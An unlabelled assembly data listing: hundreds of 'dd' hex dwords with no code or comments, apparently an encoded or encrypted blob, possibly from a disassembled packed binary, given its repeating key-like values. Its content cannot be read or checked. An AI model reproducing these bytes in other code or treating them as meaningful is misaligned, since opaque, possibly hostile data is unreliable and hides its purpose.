		dd 0E9F8393Dh, 249CB4F4h, 39B4B4B4h, 4D52874h, 0E9F849B3h
		dd 7439B4F4h, 3941C429h, 0B4F4C586h, 9CB3043Eh,	0B4B4B422h
		dd 49B3309Fh, 0B4F4E9F0h, 0E8E539ABh, 0B4B4B4F4h, 0D22834B4h
		dd 0E8E96941h, 303FB4F4h, 5958B8D8h, 0ED66513Fh, 693FB4F4h
		dd 0B4F4ED6Ah, 0ED6E713Fh, 7711B4F4h, 1EB41E0Eh, 1EB41EB4h
		dd 0B4B51CB4h, 783FB4B8h, 1E04B41Eh, 0B3783FC0h, 13080A96h
		dd 0E7B4B4E7h, 0B38E9C7Dh, 4941B3B3h, 0B4F4C555h, 4050506h
		dd 0E9F449B3h, 7837B4F4h, 0A63E77D4h, 0B4D6136Dh, 0F4C4E4B4h
		dd 0AD968AB6h, 0A9DF5C77h, 0A4BC692Ch, 0C801774Ch, 0E43C54E1h
		dd 7954D90Fh, 0AF7CD4ECh, 410A551h, 8E75076Ch, 933C650Dh
		dd 64259231h, 0F5EE274Ch, 0A6CEA384h, 85DF16CCh, 0E4A512A1h
		dd 0FB3AD6CCh, 57BF9932h, 8D5DB4CCh, 64319C01h,	0DF11814Ch
		dd 0B73C54E1h, 3C49C1C5h, 757C1401h, 0C7EADCBAh, 30B146Ch
		dd 0C4514881h, 0A35415ACh, 44F0784Bh, 2BB794ECh, 871C9E80h
		dd 147CFC6Fh, 49957CCCh, 64FC099Ch, 47582E4h, 0C3FC7EACh
		dd 84913CC1h, 0F3FC19ECh, 0E38A2510h, 79F96B3Bh, 0C4DC84CCh
		dd 786543E7h, 855CB406h, 640C54C9h, 0C731814Ch,	773C54DEh
		dd 77E3331h, 40F7B448h,	840F7C26h, 4151A195h, 575CF4F6h
		dd 2D68DF07h, 8BCA0483h, 0E7946BD8h, 0E3DC358Ch, 0E4B124A1h
		dd 0E460F7CCh, 0E8BB54F1h, 630BB2AEh, 4EFC7E23h, 489CDC4Dh
		dd 0E49414ECh, 0E3DC358Ch, 0E4B124A1h, 0D35CF9CCh, 3AA99F0h
		dd 0B45C1E5Bh, 0A8FC5444h, 59CDE4Ch, 0E93A084h,	85F4848Dh
		dd 437CD52Ch, 4114441h,	64B6BC6Ch, 790BB40Dh, 0A4BC495Ch
		dd 449CF924h, 8290BDECh, 84F633DBh, 0CE7677D5h,	60B1F3C6h
		dd 0FBCD441h, 0A1DF775Dh, 0A4BC493Ch, 5B20034Ch, 8C2BD37Ah
		dd 84DC3492h, 0F04028EAh, 394B7408h, 64FC09E4h,	0FB8F6989h
		dd 0ED2F546Ch, 59ECB1C9h, 0EFED942Ch, 86221CFFh, 81FFD42Ch
		dd 0C4DCA994h, 6740236Ch, 8F0BB35Ah, 64312831h,	454C734Ch
		dd 0B7D1196Bh, 957344Ch, 243CC944h, 531D649Bh, 0A4EF36F1h
		dd 3CE13F0Ch, 0C3FC9481h, 0C91BF59Ch, 0E47C8785h, 99A8C107h
		dd 2DDFD4ECh, 531D659Bh, 0A4EF4AF1h, 610E9C0Ch,	17913BBh
		dd 445C2A8Ah, 0E496E367h, 548B0DE2h, 27DD5730h,	9D1F3426h
		dd 8EBCBEA3h, 83D141F4h, 0FDFC94A1h, 449CF438h,	0E8B9E867h
		dd 0E38B3249h, 0B117FA3Bh, 0C41C41D0h, 0CF22146Ch, 0AF60FB89h
		dd 4A98F87Eh, 0AEC756E7h, 0DFA3CECh, 0D057348Ch, 68F7D4C6h
		dd 0C4B47426h, 8EB4146Ch, 0EEAE05CCh, 196BA4AAh, 445C292Ch
		dd 24001714h, 84F50264h, 0CED05F2Ch, 2E58FFCCh,	8EBCBEACh
		dd 476060Eh, 0A4D52244h, 759CDE4Ch, 838CD306h, 44D11801h
		dd 0A945332Ch, 0EBA0839Bh, 0F1AB53F9h, 0C46CB4A1h, 0AEF0CDACh
		dd 3317F44Ch, 91BDF97Fh, 841C448Ch, 183859A9h, 0A44B740Ch
		dd 5C9CA9E9h, 63AEB4CCh, 6431F021h, 44B25C4Ch, 137894ECh
		dd 54119F6Bh, 0BA5506DCh, 2BC16025h, 901DEA91h,	49D19E1h
		dd 6C91135Ch, 0CD9CB461h, 24716071h, 6E30848Ch,	43EBFE0Ch
		dd 411E041h, 0A37C996Ch, 0EEF2F3E1h, 2FD2AAAEh,	769DDE00h
		dd 0E43CA584h, 4801878Ch, 0CB71F6D1h, 1AB566FCh, 8B21C085h
		dd 63B2B4F1h, 6431A021h, 7AE07F4Ch, 1A8C6A22h, 0B4713343h
		dd 0A77C1401h, 0A3F38490h, 0A4F110E1h, 0EE5C1E0Ch, 349113AEh
		dd 0DD9CB461h, 0E43C95C4h, 0D7D5F03h, 0DB50B828h, 0D978099Bh
		dd 0FAEF14ACh, 1A48598Fh, 58FC546Ch, 0D4317383h, 693C54C1h
		dd 4A28A8CCh, 0B68092AFh, 0E8D0F3AAh, 8EBCBE64h, 0ACF1B326h
		dd 29FC9481h, 0B7E8E80Ch, 0E4409184h, 0F595678Ch, 0A9A5C44Fh
		dd 0C4DCAAD8h, 253DFC81h, 45CC1AAh, 5ACCA85Ch, 776CC47Dh
		dd 0B994297Bh, 0C461344Ch, 437B08D5h, 53149820h, 0A4F210F1h
		dd 61B89C0Ch, 0C3CF13BBh, 849130C1h, 65C4BFECh,	84DD5CD0h
		dd 99EB2B2Ch, 0C4DCA9D8h, 3A73905h, 495415Bh, 0A4C4AC54h
		dd 449C1D0Ah, 0E43CA111h, 84DC348Dh, 247CD42Ch,	0C41C74CCh
		dd 30FEA9Dh, 0C451FC81h, 10C5BFACh, 1F5134D0h, 20FFC28Eh
		dd 690F954Eh, 0C959F5EAh, 2EBE4330h, 7730B791h,	164F0BB8h
		dd 36D5AA5Bh, 0B09CE9A0h, 10AE48FFh, 47DCA271h,	0B85DF9BEh
		dd 30B53A31h, 0A7BCD591h, 0D87D19DEh, 50D59A51h, 943DC1B1h
		dd 0B9A3DFCh, 561F344Dh, 0C970F5D1h, 27BB66FCh,	0A52FC791h
		dd 0E98EF70Ch, 56E1884Dh, 983BE1B1h, 0F6946811h, 84009571h
		dd 0C56106EFh, 2CF05920h, 881DB97Eh, 0E98EF70Ch, 58E1884Dh
		dd 0AC38E3ABh, 0B7AC4011h, 65FA879Eh, 0D35407BCh, 1CE17420h
		dd 8C10C885h, 0E87D19DEh, 50D59AACh, 0B135C8B1h, 179B6811h
		dd 6910A755h, 0D15528C9h, 29E37431h, 9015DA80h,	0D890F5F1h
		dd 39DE7D3Eh, 854FD9A0h, 0F8A15BECh, 69F89D52h,	0C966FDDFh
		dd 18C13BCCh, 8918BDB2h, 0E9791DC0h, 38E19BACh,	9940E389h
		dd 5743908h, 69F8986Ah,	0C943D4EDh, 31C14820h, 9015DA7Ch
		dd 0F17D02F1h, 6BFC9551h, 0A970E8B1h, 58C4409h,	841D9C60h
		dd 0DA70F9F3h, 2DCF6631h, 0ABBCC28Bh, 0E9B228F1h, 53D5873Eh
		dd 8544B9AAh, 59B60ECh,	66F58070h, 0BD6EF5BEh, 25D9740Dh
		dd 8915EA7Ch, 0CA8203E3h, 0A4E18045h, 0B241E48Bh, 9983D32h
		dd 540C9549h, 0E56302C5h, 29CC43CCh, 932EE48Ah,	0D78F19EFh
		dd 53EEA4ACh, 974FD9AFh, 0D8286BFh, 8410A75Eh, 0C75B06DCh
		dd 0D7CF6731h, 7C21E23Eh, 0E9AFB4E0h, 50D59A40h, 9850B5B1h
		dd 0F99E3DFEh, 450F9960h, 0B861272Ch, 29B85D12h, 8919BDA0h
		dd 0E978070Ch, 57FC8451h, 0A950E795h, 11956809h, 4AFB8871h
		dd 0D86100C5h, 0C4C16125h, 8519C2A1h, 0E9750ADCh, 6AE2A343h
		dd 4441E0A5h, 0F8AE3D22h, 45F89561h, 0C75B00C8h, 2DCE4BCCh
		dd 8D02B980h, 0D25C19E8h, 4EE09540h, 7450E7A1h,	0DB23DFEh
		dd 69039968h, 0CF5B28BFh, 121C6231h, 892ED780h,	0CA8128EDh
		dd 0A4E18045h, 965FE88Ah, 9B03511h, 67FBA63Ch, 246F07D1h
		dd 16DF680Ah, 8930B591h, 0E77B26BCh, 69EF8751h,	985AF494h
		dd 5A1462Fh, 692F9960h,	0D35508CFh, 18DA742Ah, 9A2CB5A9h
		dd 0D39319E5h, 47E1A752h, 0B23BDDA0h, 33B062ECh, 4AFA995Ch
		dd 246100C5h, 14DB680Ah, 760CC291h, 0D78117EBh,	4FDBA83Fh
		dd 929CE2B1h, 13AE6400h
		dd 58FF9960h, 0B86EFDE2h, 11B85521h, 761BC191h,	0D89AB4D5h
		dd 38D58663h, 9635CAB1h, 109D4900h, 73F99949h, 0D67C0DBEh
		dd 32F16020h, 881BB785h, 0D69007F1h, 58E38245h,	973AB5ABh
		dd 0F6B06705h, 8403A265h, 0D73D27E3h, 18CE5520h, 87BCC481h
		dd 0E98F23E8h, 4FDF833Fh, 0A79CE8B1h, 99A420Bh,	6BDCA86Fh
		dd 0D35408D1h, 1DBE681Fh, 8919B58Ah, 0E781260Ch, 49EF5442h
		dd 979CD8AAh, 997370Bh,	72153460h, 0D26EF9C0h, 30DF6831h
		dd 0AC21C78Bh, 0F08022EDh, 52B55451h, 0B24ED9A0h, 9834811h
		dd 72FB7760h, 0B85FF9CAh, 18EF5831h, 6421C88Dh,	0E99022C5h
		dd 38E1823Eh, 0B241E48Bh, 1275942Dh, 720E9960h,	0B43B08D1h
		dd 16F16231h, 0ADBCD588h, 0D68128EAh, 56F0794Ah, 8A40D5B1h
		dd 0E4A14005h, 4532784Dh, 0F6AF1DDCh, 10D838EAh, 8B21E66Ch
		dd 0D77B20CFh, 3DE19F51h, 0AB41C64Ch, 12A1442Bh, 49059947h
		dd 0D67C15B4h, 19ED5B31h, 9A25C691h, 0E99120EDh, 0A4BD8C71h
		dd 7743D97Eh, 5924811h,	4901A968h, 0A77C15B4h, 8CF779A5h
		dd 64BCBC9Dh, 0D0D99C0Ch, 0A4D65790h, 746DF9A6h, 6F413E1Fh
		dd 0B85784C8h, 0E45628DCh, 0A3EF46FDh, 0A4F144E1h, 1020370Ch
		dd 7970E9BBh, 81FF48Ch,	7193D7E4h, 44F1E511h, 0D4EBC72Ch
		dd 0D2B67426h, 3960A9FBh, 44E1B4CCh, 0A48CD8ABh, 0AC6CF44Ch
		dd 0E43C3DAAh, 84F60807h, 0E456A0A7h, 0B41C7424h, 96BEBE6Ch
		dd 5274B4E6h, 4EFC5445h, 746FC54Ch, 0B920297Bh,	3D2B344Ch
		dd 0F9A8693Bh, 0A3A1740Ch, 0F137F080h, 49CC984h, 197960CFh
		dd 445C044Ch, 1793E5EFh, 95706DBh, 243CC960h, 0E7B00349h
		dd 9894146Ch, 8F0BB35Bh, 6431FC31h, 251B814Ch, 8C3C94CFh
		dd 0E38B334Fh, 0F9C459A7h, 5399740Ch, 64BCF704h, 630BE664h
		dd 0E081DFBBh, 0C99CB461h, 713748ACh, 84BF290Bh, 43897C2Ch
		dd 8B97F39Bh, 0C11579Bh, 45CB40Ch, 9859D559h, 579CB436h
		dd 52C121A5h, 35DC7479h, 0D44D25E0h, 394B45FDh,	64FC0988h
		dd 6340B893h, 64315021h, 48DED14Ch, 0E41469ECh,	41DC348Ch
		dd 1E3F81ADh, 0A3B6740Ch, 5EBAA9E9h, 0B6ACB4CCh, 0A42034E9h
		dd 81FF466h, 69033AE8h,	841C4E40h, 0A9C3B469h, 0C4DC8E02h
		dd 64D61450h, 57677B9h,	776B5546h, 23A0E71Bh, 0F8FC19E1h
		dd 84D79CDCh, 54F7D42Ch, 0E0EC77F7h, 5E2E89E9h,	9ED7B4CCh
		dd 0A4FC55A8h, 45947EC7h, 7C3F94ECh, 0FFCFFA7h,	0C5228767h
		dd 0A6E37920h, 0E77E3F01h, 8FB3C353h, 0F077A7E0h, 8436C87Ch
		dd 8396661Dh, 998CC9DBh, 68FFD4ECh, 18B1FFC8h, 4FBCD441h
		dd 0BF63743h, 0A4D65BF3h, 7B15F424h, 0DE96D7EFh, 84D51C34h
		dd 0E6F9D42Ch, 8D4A1E2Dh, 8D7F4481h, 0C452FA81h, 0AC8059ACh
		dd 0B915B644h, 0E47C8A32h, 399F16E3h, 247CD444h, 0B19D51CCh
		dd 64FC2F65h, 1A965187h, 407F546Ch, 539CFC70h, 0E43C0D70h
		dd 8C78B58Ch, 0D87CD42Eh, 0C41D7824h, 0D451536Ch, 8F5CF421h
		dd 8880E1B8h, 449CF550h, 8C3C3E1Ch, 84DC3490h, 245026E2h
		dd 50B1F303h, 37BCD441h, 8F34145h, 55FC54ADh, 759EDE7Dh
		dd 0E4949506h, 361C348Ch, 0F948693Bh, 49B2740Ch, 9407C802h
		dd 5601CC0h, 0C3D354ACh, 467C18E0h, 592B94ECh, 841C6AA4h
		dd 0B8BC59D5h, 0F430D7C2h, 641668E7h, 0BAB305BEh, 7938E9BBh
		dd 0C965F48Ch, 1A0C49ACh, 99C8C9DBh, 0DBF9D4ECh, 2EF34610h
		dd 0DB39ECB0h, 45CB510h, 4E3C4707h, 0EFCFCD3Ch,	148C641Ch
		dd 362C843Ch, 0F960693Bh, 889D740Ch, 64BC1664h,	0C40285Bh
		dd 7A04E9BBh, 236FF48Ch, 2472AC61h, 889E918Ch, 2EAA542Ch
		dd 4FE27521h, 0A4D198E9h, 9165970Ch, 640C5421h,	7AEDF74Ch
		dd 0A4C0E67Bh, 85EBBC8Bh, 0A87BD42Ch, 0C41C75BCh, 79E612ECh
		dd 22DCFAFCh, 0A58063ACh, 0C49CF44Dh, 75B174BAh, 34CAB552h
		dd 0B94322E5h, 8A5BFF0Eh, 4FFB15B2h, 476054Ah, 0C3CFAA5Dh
		dd 849204C1h, 0A5676DECh, 84ABB98Bh, 0A9F9D42Ch, 0C4DC916Eh
		dd 70141486h, 0B45CB40Ch, 9491135Fh, 619CB462h,	0E43C94E8h
		dd 844BB98Bh, 75D5D42Ch, 451C74CCh, 0AD0EE43Ah,	0A9E1C3C2h
		dd 27FC54ACh, 60F8FC12h, 5DC0A3E9h, 0A0DC348Ch,	90EF090Ch
		dd 491BAED8h, 64BC14E8h, 243CC1A9h, 8529348Ch, 9950D9B3h
		dd 0C46800FBh, 625DB061h, 0B854B43Bh, 45CD6920h, 3E2C177Ah
		dd 0EC91E32Bh, 0A46B9BF2h, 3406254Bh, 7B3C94D3h, 0F98B86EEh
		dd 243CC978h, 0F4ECB4DFh, 6D94E49Ch, 0C85CB40Ch, 50DA8B4Bh
		dd 4440D5ABh, 0BA5C297Bh, 0C461344Ch, 6DAFCAC0h, 0DAD6F945h
		dd 8C0D14ACh, 845CB60Ch, 54D2A55Dh, 5A80891Bh, 59B9942Ch
		dd 841C4F8Fh, 0D8B5C7DCh, 0F5EE44FDh, 9051539Dh, 8B5CF421h
		dd 196B38B0h, 445C2958h, 71BCD774h, 841C4963h, 0D7BF8D2Dh
		dd 0FBF03A0Bh, 0A001E6ADh, 0D67F1DC9h, 4ADB874Bh, 0AD73D0A0h
		dd 0FB9B380Ah, 591F905Fh, 0D26106BEh, 16C14A20h, 921BBD7Fh
		dd 0D484F9B8h, 49EE8348h, 0A570F49Eh, 0F8A13BFEh, 580FA344h
		dd 437CD62Ch, 0C41C749Ch, 932EC46Ch, 32791DD4h,	4BDF8645h
		dd 9C3DE0ADh, 10AC82F5h, 4715828Ch, 0CA71B4E7h,	2CB66E30h
		dd 99B6B783h, 24AEF9BFh, 742E4442h, 648D2461h, 0C45A74CAh
		dd 53166196h, 0A9C22E5h, 18CE5D22h, 0C111E81h, 45CB40Ch
		dd 0F859D559h, 0A9CB439h, 24514B71h, 0F98B348Ch, 243CC9A0h
		dd 182BDC8Dh, 0EFCABE38h, 0C45104A1h, 8098ADACh, 0AA76E96Ah
		dd 0E12B926Dh, 21595761h, 243CCAECh, 0FB1E6A47h, 0F161BAD1h
		dd 0C44F1E91h, 1481E3ACh, 1E9CB45Fh, 70265A65h,	1587324Ah
		dd 4FBB762Dh, 55A1010Fh, 94BCD461h, 1276B4E6h, 79A0E9BBh
		dd 0A01FF48Ch, 0F9409CD0h, 84E01CA7h, 0EA4FD42Ch, 394B740Fh
		dd 64FC09E4h, 6308FC64h, 0A403FCBBh, 8A6FF44Ch,	177B732Fh
		dd 0C71338Ch, 4C7C1401h, 0A34BF0DDh, 3AFEA04h, 7D9B35Bh
		dd 0CCFC949Fh, 449CF447h, 16816721h, 48BA669Fh,	437C20E8h
		dd 4111041h, 64B63C6Ch,	0D793B40Ch, 52D5863Ch, 445DDAA0h
		dd 2CD1D31Ch, 0DDC74A1h, 0E4B128B1h, 510D83CCh,	0A4C434E9h
		dd 0CAE13D0Ch, 55FC9482h, 5928891Bh, 0CCF942Ch,	84DC3490h
		dd 1CD949A9h, 51E5740Ch, 0A4F200B9h, 5A329C0Ch,	0EBE213BBh
		dd 84A9DBD1h, 672CD3ECh, 44E99D31h, 99F9D42Ch, 0C4DC91F3h
		dd 6516E89Ch, 0ECAEB4E6h, 24FC54AEh, 5A8C891Bh,	0A4C1942Ch
		dd 11BEA936h, 0E4892EA9h, 0CAB646CCh, 612389E9h, 0BAB0B4CCh
		dd 56CDA45Ch, 5A90891Bh, 8384942Ch, 44D26001h, 0F1019A2Ch
		dd 0C41C34D4h, 64BC2004h, 0D3AF0B0Ch, 762F9F6Fh, 9058B86Ah
		dd 60D1D3ECh, 0F7DC74A1h, 247CDBC4h, 89101CCh, 9DBCD454h
		dd 19087189h, 5554546Ch, 2CCB7322h, 0E43C94E8h,	4D1A7D43h
		dd 125019EAh, 0C4D84010h, 3948A9FBh, 44E1B4CCh,	0A563D8ABh
		dd 0AC2FF44Ch, 0E43C94F1h, 7C5EE909h, 0B145D4ECh, 4128C59h
		dd 0FAC63C6Ch, 0A1DFB35Bh, 0A4BC4A98h, 620034Ch, 653C94EDh
		dd 84DDC4E8h, 2554282Ch, 0A31C74CDh, 0A4F150E1h, 7420350Ch
		dd 54FC54ADh, 443648C7h, 0E0D1D31Eh, 9DC74A2h, 31712D6Ch
		dd 0C42FFC24h, 0C051536Ch, 6F5CF421h, 4DA9D7CEh, 449CB439h
		dd 69B97D01h, 841C5169h, 2C1193DCh, 491C34E2h, 3F40232Ch
		dd 8F5CB40Dh, 0A477606Ch, 0C91B241Bh, 0E47CB105h, 9C19B9D2h
		dd 0CE7DD4ECh, 2E1D5ECCh, 5851536Eh, 875CF422h,	28FB13B4h
		dd 449CF53Eh, 9D1215Fh
		dd 6EDC7479h, 434F261Ch, 4127841h, 737C996Ch, 45CA691h
		dd 2AA9E1ACh, 0D59CB439h, 7EE8BCE4h, 0F8F433DBh, 0E27CD42Ch
		dd 0D895DAE7h, 0D9ABE850h, 49CE974h, 0A190D129h, 450DF48Ch
		dd 83263184h, 0A820BFDBh, 2CDC951Ch, 0C80038C7h, 6FB4342Dh
		dd 0B454D8D0h, 0A4FC59C4h, 5A7A194Ch, 839394F4h, 44D18801h
		dd 30C0572Ch, 0E4223B92h, 613DA9E9h, 476B4CCh, 0A4FC3544h
		dd 236FC64Ch, 2472A461h, 0A808C18Ch, 99EB2B20h,	0C4DCA9F4h
		dd 6EE41832h, 0B45C1ECCh, 196BA763h, 445C2A3Ch,	41B9BAEFh
		dd 841C512Eh, 3054D4C6h, 0FB1C74CCh, 5451539Fh,	215CF422h
		dd 0A4FC54A8h, 0D919C1A1h, 0E47C8A2Ah, 9C19C109h, 7297D4ECh
		dd 0FAED7426h, 7051539Fh, 875CF422h, 93EA54B4h,	0D1CA7FBDh
		dd 24726241h, 0D6D9E48Ch, 0C48C098Ah, 0A346ECA4h, 5B2EB5FBh
		dd 0DBD9BD6Fh, 2F56FFADh, 0D1DA1F0Bh, 24726239h, 0B40278Ch
		dd 0D7257F43h, 0DA1C099Bh, 0C13C14ACh, 49CC9E3h, 4C1688ADh
		dd 449CE95Ch, 0B9E8297Bh, 215C344Ch, 243CCCE9h,	8B2D68CCh
		dd 0A4C9BDF1h, 45CB40Ch, 71811AACh, 449CB454h, 832A6A85h
		dd 461FBDBh, 247C1421h,	19C74CCh, 71BC182Eh, 0F23C0306h
		dd 84DA834Bh, 0B07CDAABh, 0C5A13A05h, 58BC83ACh, 46101C5h
		dd 27FC6320h, 8621C091h, 0E99015DEh, 84F6618Dh,	647C146Ch
		dd 0F9AF742Bh, 5601A169h, 0B65DFB0Ch, 0E5BA5930h, 890E1E69h
		dd 0D87A19E8h, 37EF7948h, 0AC7CEDA8h, 0FDAC440Dh, 68FA95ACh
		dd 0B464F90Ch, 25D05731h, 44D8C88Ah, 0F27D28DFh, 4BDA7D50h
		dd 51791456h, 0F89D6BE6h, 72F59C6Fh, 0D05DB4D3h, 25C09428h
		dd 921DF475h, 0ED7AD4F0h, 90F07C53h, 963BDA6Ch,	0DAE3ACCh
		dd 5700A271h, 0BB9C1D0Ch, 0DED05D2Dh, 8C131E69h, 248126F1h
		dd 84E1864Dh, 7051E395h, 0DAE3ACCh, 5700A271h, 0D33FB4FBh
		dd 0E4FD5929h, 8DDCC8A5h, 0ED90D4DFh, 841D7949h, 9783E885h
		dd 0F89D40CCh, 8ED95571h, 0F3D00D49h, 0B48288E5h, 34839870h
		dd 2BCDAE71h, 7E97AD63h, 0E9C64E6Fh, 0E9374E40h, 4F67DE15h
		dd 0E4B326E4h, 41346DEh, 864581B3h, 0F4C2C8FFh,	79C136DBh
		dd 73D213A1h, 4B3F6A44h, 80660F6Ah, 0D71BFD65h,	16377905h
		dd 841A4D86h, 9648B760h, 0E6D82058h, 0FB2E07D9h, 0DEAFD5FAh
		dd 0BC44E73Eh, 40859ECAh, 0C41C74CCh, 64BC146Ch, 45CB40Ch
		dd 0A4FC54ACh, 449CF44Ch, 0E43C94ECh, 84DC348Ch, 8A2157CCh
		dd 0C41C34D5h, 3D5679EFh, 135CB4CCh, 31109703h,	0DB9B0C7Fh
		dd 943F9A27h, 0A8C07807h, 0B6781607h, 0CCDEAFB5h, 0A637287Fh
		dd 109EDF00h, 7DA2E925h, 0C915F48Ch, 0E47C8D46h, 0C65F39E7h
		dd 0C5C57604h, 4C1C788Eh, 0A4DE4BF1h, 4809C0Ch,	84D454ACh
		dd 0D19CF44Ch, 245E7871h, 7CC58D8Ch, 64FFE0C0h,	0A353D6D0h
		dd 0A4E5A2F1h, 3D13770Ch, 8673E1AFh, 34BFF48Ch,	7328447Bh
		dd 8874B78Ch, 0A1F58A4Eh, 0C4DC96F0h, 78BC0EEFh, 74EDF11h
		dd 7279643Eh, 8267CC18h, 0F83C8E6Fh, 0EFCE3390h, 146E932Fh
		dd 0A34B4BA4h, 4F7AFFFBh, 0C4455E89h, 6FFFACACh, 0C91B3760h
		dd 0E47C8D5Eh, 9D5AB9D3h, 247CD4ECh, 0E03474CCh, 0EFBC146Ch
		dd 0C4454291h, 0BBF1FCACh, 3CB4731Bh, 673C94ECh, 44C5C219h
		dd 2C71D42Ch, 0E67C1145h, 0E09714ACh, 1DDA415Bh, 333F546Ch
		dd 848586D1h, 72D11DECh, 0ECDC7495h, 247CD42Fh,	4F5FBDDFh
		dd 64BC94DFh, 71F4060Ch, 0A76B13BAh, 84859EC1h,	671297ECh
		dd 93DC4056h, 247DDBB0h, 0B4C6F7CCh, 140236Ch, 8F5CB40Ch
		dd 0CCCC606Eh, 23CB7204h, 0BDD619EFh, 0CADF344Ch, 0A4745EDCh
		dd 0BDD07495h, 78DA4DECh, 55F7F40Fh, 25FD9C27h,	3EB532Dh
		dd 2825159Bh, 59DC8048h, 6C972D48h, 0D346ED4Fh,	64BC8BEBh
		dd 0DCDD1A0Ch, 0B32E47BAh, 449C9FD1h, 0BEBF6AECh, 0FE1A98Ch
		dd 26D7E4E6h, 951F7E47h, 22E3C9Dh, 995FB35Bh, 0A4BC4D06h
		dd 9CDC79E9h, 68C0A377h, 0E3DC348Ch, 0E4A53E81h, 0F93444CCh
		dd 67AB53FAh, 0C4455E91h, 0E81E3ACh, 479CB455h,	678F78F0h
		dd 0BFCF36CCh, 47744A2Bh, 0E455F4BEh, 48E0559Fh, 2868DD10h
		dd 5F206085h, 0C5B55F8Ch, 3F13A377h, 5CAA8B9h, 0D2413C37h
		dd 45126877h, 0C5E7EDF7h, 853A285Bh, 0F91E2AB7h, 0C582E8E8h
		dd 1C152777h, 5EAA8DFh,	0DCD51137h, 4532689Fh, 49EBDAF7h
		dd 855A286Dh, 892B44B7h, 23A2E82Dh, 24652661h, 55758F8Ch
		dd 0E2EB933Bh, 0AD30B64Fh, 3AB520Bh, 876B54Fh, 0BA11FC54h
		dd 0B914731Bh, 0E47C789Dh, 7CCDEC72h, 48BC762Eh, 2A3E76CFh
		dd 9CC2BEC7h, 6311AE64h, 0AC3ED7BBh, 493645D3h,	7919BC14h
		dd 0DE5C33DBh, 7477072Fh, 75A176FCh, 0CEBCD450h, 0EC76DB67h
		dd 0BE7CBE54h, 0D4A4E94Fh, 79F9BCDDh, 854433DBh, 0A87CD42Ch
		dd 7519687Eh, 0F76520Ch, 9C619F62h, 24FC54ACh, 70B56E7h
		dd 0B8681169h, 993344Ch, 243CC8FDh, 441C74CCh, 846C1780h
		dd 15E1ABA6h, 0A7FC9480h, 539DF44Ch, 0E43CCA70h, 0F31EC8Ch
		dd 8F177C48h, 0DDB23145h, 0C6C14ACh, 89135FA6h,	0A4BC487Dh
		dd 459CF44Ch, 0BDC61165h, 4F10344Ch, 0F8AD5943h, 0C41C740Ch
		dd 8B64166Ch, 0D952B3F0h, 48E3CCB1h, 0AAF722C7h, 0A3C9434h
		dd 14DFA827h, 0A9F33ED9h, 0C4DCA8DDh, 6CBC146Ch, 0C794194h
		dd 0BB1289ACh, 849025D1h, 0E43C94ECh, 0C95FEC90h, 2970D424h
		dd 9C39F754h, 0FBFB7F6Ch, 0C450E591h, 0A4FC57ACh, 0D4A0E84Ch
		dd 6FD7FE85h, 44C5CA11h, 0FBB5F2Ch, 0A0D4FD84h,	38ED9903h
		dd 45FB4CCh, 63F054ACh,	2340DBD4h, 62E91DC2h, 2FDC7495h
		dd 0CB7CD474h, 4D841F30h, 0CFBC1452h, 630A7164h, 0CC1CC4BBh
		dd 23CB700Bh, 3CA28D8Fh, 2F0249DBh, 99F73F9Dh, 0C4DCA8DDh
		dd 26B36603h, 45CB40Fh,	1B546841h, 0D4CB731Ah, 80D5BCDBh
		dd 1C0233DBh, 8F62E93Bh, 93971F3Dh, 3D4A99E7h, 4C37B4CCh
		dd 0BB689C25h, 849025D1h, 0E43C98ECh, 1CEEA88Ch, 6CEA9405h
		dd 84142C67h, 0BC571880h, 0EBF7ACE1h, 75810B07h, 4C9CB460h
		dd 0F93C94ECh, 0B349B446h, 247C1400h, 0ED843520h, 6E75FD54h
		dd 0C450DFB1h, 0A76014ACh, 58779946h, 34D7942Ch, 956DE1Dh
		dd 243CC80Bh, 0CEDC2466h, 0A4F0FFF1h, 9C825E0Ch, 297311CEh
		dd 445C285Dh, 0E43C94DCh, 4D4C3B60h, 0B924FA86h, 54775A98h
		dd 24EF7E04h, 86C93DA7h, 0BBFC9475h, 849025D1h,	0E43C74ECh
		dd 14D5A98Ch, 0D01DED4h, 6E1C34E0h, 243D8C92h, 184D3963h
		dd 0A4BC546Ch, 4750F44Ch, 0EE54D86Ch, 44D05D31h, 0AD17FA2Ch
		dd 405FA59h, 0E9B37F6Ch, 49CE81Dh, 64FC54ACh, 740CFDA1h
		dd 0B85519EEh, 0DB36344Ch, 0E4B0C5B1h, 0C41CF4CCh, 0B4B7C96Ch
		dd 2EE1BE94h, 0EFC9480h, 0DC423127h, 6933ACBDh,	841C689Dh
		dd 247CD52Ch, 0ED8C7620h, 38D67966h, 681CB4CCh,	8EA15EAFh
		dd 0AA9CB460h, 65E43A47h, 95612BDCh, 247C1400h,	191C74CEh
		dd 6E74886Eh, 0C450DEB1h, 2D977AACh, 848596D9h,	0C8680CECh
		dd 0DB37348Ch, 0E4B0C5B1h, 0C41C7CCCh, 0FB18C86Ch, 0C450E591h
		dd 0A40054ACh, 0D497E94Ch, 0CFC19E34h, 2EDC74A0h, 0A9F32147h
		dd 0C4DCA8DDh, 64BC1C6Ch, 9C82C5E1h, 9F6F42Fh, 445C2867h
		dd 0A46FFF12h, 6AF11F26h, 2E84BD74h, 4109F71h, 67A0546Ch
		dd 18375906h, 0FE2546Ch, 588D7923h, 0D43C942Ch,	1C02348Ch
		dd 277094ADh, 0CE14B84Ch, 0A4F0FFD1h, 13B71A0Ch, 781BD902h
		dd 1BF7F48Ch, 24708571h
		dd 84DC348Ch, 747508ECh, 0EDA176FCh, 0CEBCD440h, 184D3963h
		dd 84FC546Ch, 0CA0CF44Ch, 0E8409601h, 0E8A8309h, 0E4B0BD91h
		dd 4E99FDCCh, 8ABCD435h, 90834A7h, 0A4AC5B41h, 84CBC3CCh
		dd 0B5C1CB46h, 84DC74A0h, 0CA7CD4ECh, 190D5A54h, 8AD5886Eh
		dd 0E6464A7h, 64303F31h, 47BC344Ch, 7BB40446h, 44D06511h
		dd 24FCD42Ch, 541E69CCh, 4D619EF2h, 0EA5CF420h,	0A968D407h
		dd 440CFBA1h, 242B636Ch, 95612B26h, 247C1400h, 191C75CCh
		dd 6EFC8467h, 0C450DD91h, 0B357BEACh, 41FACB2h,	0B855F9E6h
		dd 2F02344Ch, 3B16D57Ch, 410A551h, 66BC146Ch, 5B3B290Ch
		dd 64304531h, 489CF44Ch, 344649ECh, 0AF613ECCh,	0AE7C1400h
		dd 410A471h, 549C556Ch,	85826CF2h, 0CFFCC407h, 4E5CA444h
		dd 24707F71h, 993DE8Ch,	243CC8FDh, 0C41474CCh, 0BC222481h
		dd 0A9569C8Fh, 0A4BC4886h, 450C9FB2h, 2CEC9C87h, 98B6B986h
